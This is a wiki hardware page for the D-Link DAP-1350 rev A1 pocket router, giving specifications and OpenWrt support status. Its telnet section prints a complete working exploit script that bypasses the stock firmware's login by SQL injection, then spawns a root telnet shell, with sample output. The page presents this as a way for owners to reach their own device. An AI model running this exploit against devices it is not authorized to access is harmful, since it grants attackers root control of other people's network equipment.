D-Link DAP-1350 rev A1
From TechInfoDepot
				
				
				Jump to navigationJump to search
				
				| bgn (N300) | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Wireless N Pocket Router & Access Point | |||||||||||||
|  | |||||||||||||
| Homepage | Product page | ||||||||||||
| Wikipedia | D-Link | ||||||||||||
| InfoDepot Wiki | D-Link DAP-1350 | ||||||||||||
| WikiDevi.wi-cat.ru | D-Link DAP-1350 rev A1 | ||||||||||||
| 3rd Party Firmware | |||||||||||||
| dd-wrt | Status Unknown | ||||||||||||
| OpenWrt | Was Supported | ||||||||||||
| Tomato any flavor | Incompatible | ||||||||||||
| Gargoyle | Status Unknown | ||||||||||||
| Platform | |||||||||||||
| Brand • Model • Rev | D-Link DAP-1350 A1 | ||||||||||||
| FCC ID | KA2AP1350A1 | ||||||||||||
| IC ID | 4216A-AP1350 | ||||||||||||
| Type | wireless router, access point | ||||||||||||
| CPU1  | Ralink RT3052 | ||||||||||||
| CPU1 Type | MIPS 24KEc | ||||||||||||
| CPU1 Speed | 384 MHz | ||||||||||||
| Flash1 Chip | Macronix MX29LV640EBTI-70G | ||||||||||||
| Flash1 Size | 8 MiB 8,388,608 B <br />65,536 Kib <br />8,192 KiB <br />64 Mib <br />0.00781 GiB <br /> | ||||||||||||
| RAM1 Size | 32 MiB 33,554,432 B <br />262,144 Kib <br />32,768 KiB <br />256 Mib <br />0.0313 GiB <br /> | ||||||||||||
| RAM1 Chip | ESMT M12L128168A-7T x 2 | ||||||||||||
| ETH chip1 | Ralink RT3052 | ||||||||||||
| Ethernet Port Count | 1-100MbE-LAN | ||||||||||||
| Wired Standard | IEEE 802.3i/3u | ||||||||||||
| Stock bootloader | U-Boot | ||||||||||||
| Stock FW OS | Linux | ||||||||||||
| Expansion IF types | USB 2.0 | ||||||||||||
| USB ports | 1 | ||||||||||||
| USB Hub Compatible | Untested | ||||||||||||
| Power | 5 VDC, 2.5 A | ||||||||||||
| Connector type | barrel | ||||||||||||
| Serial Port (UART) | yes | ||||||||||||
|  | |||||||||||||
|  | |||||||||||||
| Other | |||||||||||||
| Default SSID: dlink (38 addl. devices) | |||||||||||||
| Manuf/OEM/ODM | Cameo | ||||||||||||
| 3rd Party Firmware Support | OpenWrt (Was) | ||||||||||||
| Retail | |||||||||||||
| Availability | End of Life | ||||||||||||
| FCC approval date | 15 September 2009 | ||||||||||||
| ASIN | B003Q9AZHU  | ||||||||||||
| Country of manuf | China | ||||||||||||
| Physical | |||||||||||||
| LEDs/Color | Blue/Red | ||||||||||||
| Radio 1 | |||||||||||||
| Chip1 | Ralink RT3052 | ||||||||||||
| Wireless interface OUI | 00:18:E7 | ||||||||||||
| Antenna Connector Type | Internal | ||||||||||||
| MIMO status | 2x2:2 | ||||||||||||
| Wireless Standard | IEEE 802.11b/g/n | ||||||||||||
| 802.11n | up to 300 Mbps | ||||||||||||
| 802.11g | up to 54 Mbps | ||||||||||||
| 802.11b | up to 11 Mbps | ||||||||||||
| WiFi Operating Frequency | 2.4 GHz | ||||||||||||
| 
 | |||||||||||||
For a list of all currently documented Ralink chipsets with specifications, see Ralink.
For a list of all currently documented D-Link devices with specifications, see D-Link.
- • 300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.) = N300 class
Overview
Links of Interest
Forum threads
- OpenWRT trunk contains support for the DAP-1350, however, the 12.09-beta is broken.
- You can build your own firmware now or wait for the Attitude Adjustment release.
Flashing
|  | NOTE: During configuration or flashing a device, the only things that should be hooked to the device is the computer and power. | 
Flashing OpenWrt
|  | This device is NO LONGER SUPPORTED OR POSSIBLE for future use with OpenWrt. | 
OpenWrt Target: ramips
OpenWrt Subtarget: rt305x
OpenWrt Package architecture: mipsel_24kc
Support started version: 12.09
Current supported version: EOL
Last Supported Version: 22.03.7
OpenWrt Subtarget: rt305x
OpenWrt Package architecture: mipsel_24kc
Support started version: 12.09
Current supported version: EOL
Last Supported Version: 22.03.7
Comment:
Final version: 22.03.7
Final version: 22.03.7
Please insert instructions here
JTAG-Serial Info
Serial
Enabling telnet
A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.
A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.
| telnet • >> | 
|---|
| #!/bin/ksh
# DAP-1350 telnetd, by brynet.
# This effect all stock firmware images for the device.
# Tested on OpenBSD.
host=$1
if [ $# -ne 1 ]; then
	echo "usage: $0 host or ip"
	exit 1;
fi
base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\
"Host: ${host}\r\nConnection: keep-alive\r\n"\
"Content-Type: application/x-www-form-urlencoded\r\n"
# user_name=admin
# user_pwd=';select 1;--
login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ"
login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n"
login_req="${base_req}${login_clen}${login_cmd}"
echo $login_req | nc $host 80 | grep default > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Authenticated."
else
	echo "Failed."
	exit 1;
fi
telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh"
telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n"
telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}"
echo $telnetd_req | nc $host 80 > /dev/null 2>&1
sleep 2; nc -z $host 23 > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Root shell, okey doke."
	telnet $host
else
	echo "No root.. sorry, heh."
	exit 1;
fi
Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary.
    $ ./exploit.sh dlinkap # 192.168.0.50
    Authenticated.
    Root shell, okey doke.
    Trying 192.168.0.50...
    Connected to dlinkap.
    Escape character is '^]'.
    ... motd/etc.
    #
The factory set root password is unknown, so no login(1) process is started.
You must run the exploit script each time the device is powered on.
 | 
Pictures
Categories: 
- D-Link
- Embedded system/wireless router
- Embedded system/access point
- Embedded System Ralink
- Embedded System RT3052
- Ralink
- Embedded System MIPS 24KEc
- Embedded System
- Manuf Cameo
- OpenWrt Was Supported
- Has Mimo Status
- Embedded System IEEE 802.11b/g/n
- Single-Radio Wireless Embedded System
- Wireless Embedded System
- Single-Band
- English Documentation





